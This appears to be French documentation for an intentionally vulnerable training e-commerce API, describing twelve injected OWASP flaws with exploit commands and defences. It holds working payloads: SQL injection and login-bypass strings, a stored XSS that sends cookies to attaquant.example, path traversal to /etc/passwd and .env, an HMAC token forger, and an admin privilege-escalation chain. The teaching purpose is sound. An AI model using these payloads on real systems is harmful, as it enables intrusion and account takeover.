Chaos Sécurité¶
Le Chaos Sécurité injecte 12 failles inspirées de l'OWASP Top 10 dans le parcours e-commerce. Chaque faille est associée à un endpoint réel de PerfShop, exploitable depuis un client HTTP standard (curl, Postman, Burp). L'objectif pédagogique est de former à la détection et à l'exploitation de vulnérabilités web réelles dans un environnement contrôlé.
Service et endpoint¶
Classe : SecurityChaosService.java
Controller : SecurityChaosController.java
Endpoint admin : POST /api/admin/chaos/security body {"level": 0-4}
Endpoint public : GET /api/chaos/public/security/{status,logs,faults}
Niveaux¶
| Niveau | Label | Failles actives | Cumul |
|---|---|---|---|
| 0 | Désactivé | aucune | 0 |
| 1 | Junior | S1 – S3 | 3 |
| 2 | Confirmé | S1 – S6 | 6 |
| 3 | Expert | S1 – S9 | 9 |
| 4 | Master | S1 – S12 (portail admin) | 12 |
Le niveau 4 Master débloque trois failles spécifiques au portail admin de PerfShop (S10, S11, S12) — un endpoint caché qui ne devrait exister qu'en environnement de test mais qui se retrouve exposé en production dans le scénario.
Mapping OWASP Top 10¶
| Faille | Nom | OWASP | Endpoint exposé |
|---|---|---|---|
| S1 | Injection SQL | A03:2021 | GET /api/products/search?q= |
| S2 | IDOR Commandes | A01:2021 | GET /api/orders/{id} |
| S3 | Hash Password Exposé | A02:2021 | GET /api/auth/me |
| S4 | XSS Stocké | A03:2021 | POST /api/orders (champ shippingAddress) |
| S5 | Falsification Prix | A04:2021 | POST /api/orders (prix dans le body) |
| S6 | Timing Attack Login | A07:2021 | POST /api/auth/login |
| S7 | Token HMAC Faible | A02:2021 | POST /api/auth/login → header X-Debug-Token |
| S8 | Path Traversal | A01:2021 | GET /api/orders/{id}/invoice?format= |
| S9 | Mass Assignment | A08:2021 | PUT /api/auth/me |
| S10 | Stats Portail Non Auth. | A09:2021 | GET /api/admin/portal/stats |
| S11 | SQLi Login Portail | A03:2021 | POST /api/admin/portal/login |
| S12 | IDOR Élévation Privilèges | A01:2021 | PUT /api/admin/portal/accounts/{id}/promote |
Les codes OWASP correspondent à l'édition 2021 du Top 10.
Niveau 1 — Junior (S1 – S3)¶
S1 — Injection SQL¶
Niveau requis : 1+
Méthode : recordSqlInjection(String query, String userInfo)
Compteur : chaos.security.s1.sqli
OWASP : A03:2021 — Injection
Endpoint vulnérable : GET /api/products/search?q=
L'endpoint de recherche produit exécute une requête SQL native — au lieu
d'utiliser une PreparedStatement paramétrée, il concatène la valeur du
paramètre q directement dans la requête. Le service détecte les motifs
suspects via la regex SQL_INJECTION_PATTERN qui matche ', --, ;,
OR, AND, UNION, SELECT, DROP, INSERT, UPDATE, DELETE,
EXEC, CAST, CONVERT.
Exploitation¶
curl "https://perfshop-api.perfshop.io/api/products/search?q=' OR '1'='1"
curl "https://perfshop-api.perfshop.io/api/products/search?q=admin'--"
Symptômes¶
- Logs Loki :
[SecurityChaos][S1] INJECTION SQL detectee — payload='...'(sévérité ERROR) - Activity log : entrée
S1_SQLIavec le pattern extrait (quote simple, commentaire SQL, multi-requête, UNION, SELECT, OR) - Comportement anormal : la recherche retourne des résultats inattendus ou tous les produits
Pédagogie¶
Démonstration de l'injection SQL classique — l'étudiant apprend à
identifier les payloads efficaces et à comprendre pourquoi les
PreparedStatement avec paramètres liés sont la seule vraie défense.
S2 — IDOR Commandes¶
Niveau requis : 1+
Méthode : recordIdorAccess(String attackerEmail, Long victimUserId, Long orderId)
Compteur : chaos.security.s2.idor
OWASP : A01:2021 — Broken Access Control
Endpoint vulnérable : GET /api/orders/{id}
La vérification d'appartenance de la commande à l'utilisateur connecté est désactivée. N'importe quel utilisateur authentifié peut accéder aux commandes des autres en incrémentant simplement l'identifiant.
Exploitation¶
# Connecté en tant qu'attaquant, accède aux commandes d'autres users
curl https://perfshop-api.perfshop.io/api/orders/1 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/2 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/42 -H "Cookie: ..."
Symptômes¶
- L'endpoint retourne HTTP 200 avec les détails de la commande au lieu d'un 403 Forbidden
- Logs Loki :
[SecurityChaos][S2] IDOR detecte — attaquant={email} commande#{id} userId={victimId} - Activity log :
S2_IDORsévérité ERROR avec attaquant + victime
Pédagogie¶
C'est le bug de sécurité le plus banal et le plus dévastateur des APIs
REST. Un test simple consiste à itérer sur les IDs commande et à
compter les codes 200 vs 403. Tout 200 sur une commande qui ne
m'appartient pas est un IDOR.
S3 — Hash Password Exposé¶
Niveau requis : 1+
Méthode : recordPasswordHashExposed(String userEmail)
Compteur : chaos.security.s3.hash
OWASP : A02:2021 — Cryptographic Failures
Endpoint vulnérable : GET /api/auth/me
Le DTO retourné par /api/auth/me inclut le champ password contenant
le hash BCrypt complet ($2a$10$...). Le hash est cryptographiquement
solide, mais sa simple exposition autorise une attaque offline par
dictionnaire ou par GPU sur les mots de passe faibles.
Exploitation¶
curl https://perfshop-api.perfshop.io/api/auth/me -H "Cookie: ..." | jq .password
# → "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"
Symptômes¶
- Le JSON
/api/auth/mecontient un champpasswordnon-null - Logs Loki :
[SecurityChaos][S3] Hash password BCrypt expose — user={email} - Activity log :
S3_HASHsévérité WARN
Pédagogie¶
Faille classique de DTO oubliée : un développeur génère automatiquement le DTO depuis l'entité JPA (Lombok, MapStruct) sans exclure les champs sensibles. La défense est l'utilisation systématique de DTOs explicites avec whitelist de champs.
Niveau 2 — Confirmé (S4 – S6)¶
S4 — XSS Stocké¶
Niveau requis : 2+
Méthode : processShippingAddress(String address, String userEmail)
Compteur : chaos.security.s4.xss
OWASP : A03:2021 — Injection
Endpoint vulnérable : POST /api/orders (champ shippingAddress)
L'adresse de livraison est stockée brute en base de données sans aucune
sanitisation HTML. Tout payload XSS est ensuite restitué tel quel dans
l'interface admin formateur, permettant l'exécution de JavaScript dans
le navigateur d'un utilisateur privilégié. Le service détecte les
patterns XSS via la regex XSS_PATTERN qui matche <script, <img,
<svg, onerror=, onload=, onclick=, javascript:, <iframe,
<object, <embed, alert(, eval(.
Exploitation¶
curl -X POST https://perfshop-api.perfshop.io/api/orders \
-H "Content-Type: application/json" -H "Cookie: ..." \
-d '{"shippingAddress": "<script>fetch(\"https://attaquant.example/?c=\"+document.cookie)</script>"}'
Symptômes¶
- Logs Loki :
[SecurityChaos][S4] XSS STOCKE detecte — payload='...' - Activity log :
S4_XSSsévérité ERROR - Effet observable : le payload exécute du JS quand le formateur
ouvre la commande dans
chaos-admin
Pédagogie¶
Le XSS stocké est plus dangereux que le XSS reflété car il persiste et touche tous les utilisateurs qui consultent la donnée — typiquement les administrateurs. Démonstration de l'importance d'échapper le HTML à la sortie (côté frontend) plutôt qu'à l'entrée.
S5 — Falsification de Prix¶
Niveau requis : 2+
Méthode : recordPriceTampering(Long productId, BigDecimal clientPrice, BigDecimal realPrice, String userEmail)
Compteur : chaos.security.s5.price
OWASP : A04:2021 — Insecure Design
Endpoint vulnérable : POST /api/orders
Le backend accepte le prix unitaire envoyé par le client dans le body de la commande au lieu de le récupérer depuis la base de données. Un attaquant peut donc commander un produit à 999 € pour 0,01 € en modifiant simplement le payload JSON.
Exploitation¶
curl -X POST https://perfshop-api.perfshop.io/api/orders \
-H "Content-Type: application/json" -H "Cookie: ..." \
-d '{"items":[{"productId": 42, "quantity": 1, "price": 0.01}]}'
Symptômes¶
- Logs Loki :
[SecurityChaos][S5] PRIX FALSIFIE — produit#42 client=0.01 reel=999.00 — user={email} - Activity log :
S5_PRICEERROR avec économie frauduleuse calculée - Base de données : la commande est créée au prix soumis, pas au prix catalogue
Pédagogie¶
Anti-pattern classique : faire confiance aveuglément au body client.
La règle d'or est que le serveur doit toujours recalculer les
montants à partir des données canoniques (catalogue, promos validées
côté serveur). Le client ne devrait envoyer que productId et
quantity.
S6 — Timing Attack Login¶
Niveau requis : 2+
Méthode : recordTimingAttack(String email, boolean userExists, long timingMs)
Compteur : chaos.security.s6.timing
OWASP : A07:2021 — Identification and Authentication Failures
Endpoint vulnérable : POST /api/auth/login
L'endpoint de login répond en moins de 5 ms quand l'email n'existe pas (court-circuit avant tout calcul cryptographique), et en ~300 ms quand l'email existe (BCrypt est intentionnellement lent). Cette différence de timing observable permet à un attaquant d'énumérer les comptes valides sans même tenter un mot de passe.
Exploitation¶
# Mesure le temps de réponse pour énumérer les comptes
for email in alice@x.com bob@y.com charlie@z.com; do
time curl -s -X POST https://perfshop-api.perfshop.io/api/auth/login \
-d "{\"email\":\"$email\",\"password\":\"x\"}" \
-H "Content-Type: application/json"
done
# Les emails qui répondent en ~300ms existent
# Ceux qui répondent en <5ms n'existent pas
Symptômes¶
- Logs Loki :
[SecurityChaos][S6] Timing attack — email={masqué} existe={bool} timing={ms}ms - Activity log :
S6_TIMING(ERROR si compte inexistant, WARN si existant)
Pédagogie¶
Démonstration des side-channels appliqués au web. La défense consiste à toujours exécuter un BCrypt dummy quand l'email n'existe pas, pour égaliser les temps de réponse — pattern « constant-time comparison ».
Niveau 3 — Expert (S7 – S9)¶
S7 — Token HMAC à clé faible¶
Niveau requis : 3+
Méthodes : generateWeakToken(Long userId) / validateWeakToken(String token, Long sessionUserId)
Compteur : chaos.security.s7.token
OWASP : A02:2021 — Cryptographic Failures
Endpoint vulnérable : POST /api/auth/login → header X-Debug-Token
Le backend génère un token additionnel X-Debug-Token au format
base64(userId:timestamp).hmac-sha256(payload) signé avec la clé
secret123 (constante WEAK_HMAC_KEY). La clé étant trivialement
devinable (ou découvrable dans les sources), l'attaquant peut forger
un token valide pour n'importe quel userId.
Exploitation¶
import base64, hmac, hashlib, time
WEAK_KEY = "secret123" # devinée ou trouvée dans les sources
target_user_id = 1 # forger un token pour l'admin
payload = f"{target_user_id}:{int(time.time() * 1000)}"
sig = base64.urlsafe_b64encode(
hmac.new(WEAK_KEY.encode(), payload.encode(), hashlib.sha256).digest()
).rstrip(b"=").decode()
forged = base64.urlsafe_b64encode(payload.encode()).rstrip(b"=").decode() + "." + sig
print(f"X-Debug-Token: {forged}")
Symptômes¶
- Logs Loki :
[SecurityChaos][S7] TOKEN FORGE — sessionUserId={vrai} tokenUserId={forgé} - Activity log :
S7_TOKENERROR avec usurpation détectée - Le token forgé est accepté comme valide par
validateWeakToken()
Pédagogie¶
Démonstration que la force de l'algorithme HMAC ne compense jamais une clé faible. La défense consiste à utiliser des clés cryptographiquement aléatoires (≥ 256 bits) chargées depuis un secret manager, jamais hardcodées dans le code source.
S8 — Path Traversal¶
Niveau requis : 3+
Méthode : processInvoiceFormat(String format, Long orderId, String userEmail)
Compteur : chaos.security.s8.path
OWASP : A01:2021 — Broken Access Control
Endpoint vulnérable : GET /api/orders/{id}/invoice?format=
Le paramètre format (normalement pdf ou csv) n'est pas validé. Le
service détecte les patterns de traversée via la regex
PATH_TRAVERSAL_PATTERN (../, %2e%2e%2f, %2e%2e/, ..\\/,
%252e%252e, ..%2f) ainsi que les caractères .., /, \. Le
service simule alors la lecture du fichier ciblé pour démontrer
l'impact, sans toucher au filesystem réel de l'hôte.
Exploitation¶
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../../../etc/passwd"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../config/application.yml"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../.env"
Symptômes¶
- Le contenu retourné simule des fichiers sensibles :
/etc/passwd,application.yml(avec mots de passe DB redacted),.env(avec secrets redacted) - Logs Loki :
[SecurityChaos][S8] PATH TRAVERSAL detecte — format='...' orderId={id} - Activity log :
S8_PATHERROR
Pédagogie¶
Démonstration des conséquences d'utiliser un paramètre client dans un chemin de fichier sans validation. La défense est la canonicalisation + whitelist : résoudre le chemin absolu et vérifier qu'il appartient au répertoire autorisé.
S9 — Mass Assignment¶
Niveau requis : 3+
Méthode : detectAndRecordMassAssignment(Map<String, Object> body, String userEmail)
Compteur : chaos.security.s9.mass
OWASP : A08:2021 — Software and Data Integrity Failures
Endpoint vulnérable : PUT /api/auth/me
L'endpoint de mise à jour du profil n'utilise pas de whitelist de
champs autorisés. L'attaquant peut donc soumettre des champs sensibles
dans le body — email, password, id, createdAt, lastLogin
(constante SENSITIVE_FIELDS) — qui seront acceptés et appliqués à
l'entité utilisateur.
Exploitation¶
# Modifier l'email d'un autre compte (combiné avec id)
curl -X PUT https://perfshop-api.perfshop.io/api/auth/me \
-H "Content-Type: application/json" -H "Cookie: ..." \
-d '{"id": 1, "email": "attaquant@evil.com", "password": "hacked"}'
Symptômes¶
- Logs Loki :
[SecurityChaos][S9] MASS ASSIGNMENT — champs: email, password, id — user={email} - Activity log : une entrée
S9_MASSERROR par champ sensible détecté - Effet : champs sensibles modifiés sans contrôle
Pédagogie¶
Anti-pattern fréquent en Spring Boot quand on utilise directement
@RequestBody Entity au lieu d'un DTO restreint. La défense est
d'utiliser un DTO de mise à jour avec uniquement les champs
modifiables par l'utilisateur (firstName, lastName, phone, etc.)
et de mapper manuellement vers l'entité.
Niveau 4 — Master : portail admin caché (S10 – S12)¶
Le niveau Master débloque trois failles spécifiques au portail admin
caché de PerfShop, accessible sous /api/admin/portal/*. Ce portail
est une surface d'administration qui ne devrait pas exister en production
mais qui se retrouve exposée dans le scénario pédagogique. Les trois
failles forment une chaîne d'exploitation réaliste : énumération →
contournement de l'auth → escalade de privilèges.
S10 — Stats Portail Non Authentifié¶
Niveau requis : 4
Méthode : recordPortalStatsAccess(String clientIp)
Compteur : chaos.security.s10.portal
OWASP : A09:2021 — Security Logging and Monitoring Failures
Endpoint vulnérable : GET /api/admin/portal/stats
L'endpoint de statistiques du portail admin est accessible sans authentification. Il expose le nombre d'utilisateurs, le nombre de commandes, le nombre de produits et — pire — l'email du superadmin.
Exploitation¶
curl https://perfshop-api.perfshop.io/api/admin/portal/stats
# {
# "users": 142,
# "orders": 1287,
# "products": 56,
# "superAdminEmail": "admin@perfshop.io"
# }
Symptômes¶
- L'endpoint répond HTTP 200 à un appel non authentifié
- Logs Loki :
[SecurityChaos][S10] STATS PORTAIL acces non authentifie — ip={clientIp} - Pédagogie : information disclosure typique — première étape de toute attaque ciblée
S11 — SQLi Login Portail¶
Niveau requis : 4
Méthode : recordPortalSqliAttempt(String emailPayload, boolean bypassed)
Compteur : chaos.security.s11.sqli
OWASP : A03:2021 — Injection
Endpoint vulnérable : POST /api/admin/portal/login
Le formulaire de login du portail admin est vulnérable à l'injection
SQL — la requête de vérification email/password est concaténée. Le
payload classique admin' OR '1'='1' -- permet de contourner
totalement l'authentification et d'obtenir un adminToken valide.
Exploitation¶
curl -X POST https://perfshop-api.perfshop.io/api/admin/portal/login \
-H "Content-Type: application/json" \
-d "{\"email\": \"admin' OR '1'='1' --\", \"password\": \"x\"}"
# → { "adminToken": "...", "user": { ... } }
Symptômes¶
- Le bypass réussit : l'API retourne un
adminTokenmalgré un mot de passe arbitraire - Logs Loki :
[SecurityChaos][S11] SQLI PORTAIL REUSSIE — payload='...'(sévérité ERROR) - Activity log :
S11_SQLIERROR avec le payload exact
Pédagogie¶
Démonstration que les surfaces d'admin internes méritent les mêmes contrôles que les surfaces publiques. Le mythe de la « surface interne donc protégée » est une cause récurrente de bypass critiques. Cumulé avec S10 (énumération de l'email superadmin), l'attaque devient ciblée.
S12 — IDOR Élévation de Privilèges¶
Niveau requis : 4
Méthode : recordPrivilegeEscalation(Long requesterId, Long targetId)
Compteur : chaos.security.s12.idor
OWASP : A01:2021 — Broken Access Control
Endpoint vulnérable : PUT /api/admin/portal/accounts/{id}/promote
L'endpoint de promotion vers superAdmin ne vérifie pas que l'appelant
est lui-même superAdmin — n'importe quel admin standard peut promouvoir
un compte arbitraire au rang superAdmin. C'est l'aboutissement de la
chaîne S10 → S11 → S12 : l'attaquant qui a contourné le login (S11)
peut promouvoir son propre compte au rang ultime.
Exploitation¶
# Étape 1 : énumération via S10
curl https://perfshop-api.perfshop.io/api/admin/portal/stats
# Étape 2 : bypass auth via S11
TOKEN=$(curl -X POST .../portal/login -d "..." | jq -r .adminToken)
# Étape 3 : auto-promotion via S12
curl -X PUT https://perfshop-api.perfshop.io/api/admin/portal/accounts/2/promote \
-H "Authorization: Bearer $TOKEN"
Symptômes¶
- Le compte cible passe
superAdmin = true - Logs Loki :
[SecurityChaos][S12] ELEVATION PRIVILEGES — requesterId={X} -> targetId={Y} - Activity log :
S12_IDORERROR
Pédagogie¶
Démonstration qu'une chaîne d'exploits vaut souvent plus qu'une faille isolée. La défense est la vérification de rôle systématique sur toute action sensible — pattern « never trust, always verify » appliqué aux APIs internes.
API — endpoints publics¶
| Endpoint | Description |
|---|---|
GET /api/chaos/public/security/status |
Niveau courant + 12 compteurs |
GET /api/chaos/public/security/logs |
Activity log (200 dernières entrées) |
GET /api/chaos/public/security/faults?level=N |
Catalogue pédagogique pour le niveau N (avec OWASP + endpoint) |
API — endpoints admin¶
# Activer le niveau Master
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security \
-H "X-Admin-Token: $TOKEN" -H "Content-Type: application/json" \
-d '{"level": 4}'
# Reset (toutes failles désactivées + compteurs à 0)
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/reset \
-H "X-Admin-Token: $TOKEN"
# Vider l'activity log
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/logs/clear \
-H "X-Admin-Token: $TOKEN"
Activation par l'étudiant¶
POST /api/chaos/student/security body {"level": N} — exige le mode
étudiant et une licence valide pour level > 0. Sans licence, retourne
HTTP 402 LICENSE_REQUIRED.
Mode hackathon¶
Pour le Chaos Sécurité, le mode hackathon a une saveur particulière : les étudiants disposent d'un accès API et doivent identifier les failles actives (réponses inattendues, champs supplémentaires, timing, etc.), les exploiter pour démontrer leur impact, et documenter chaque faille au format OWASP standard (titre, vecteur, impact, remédiation).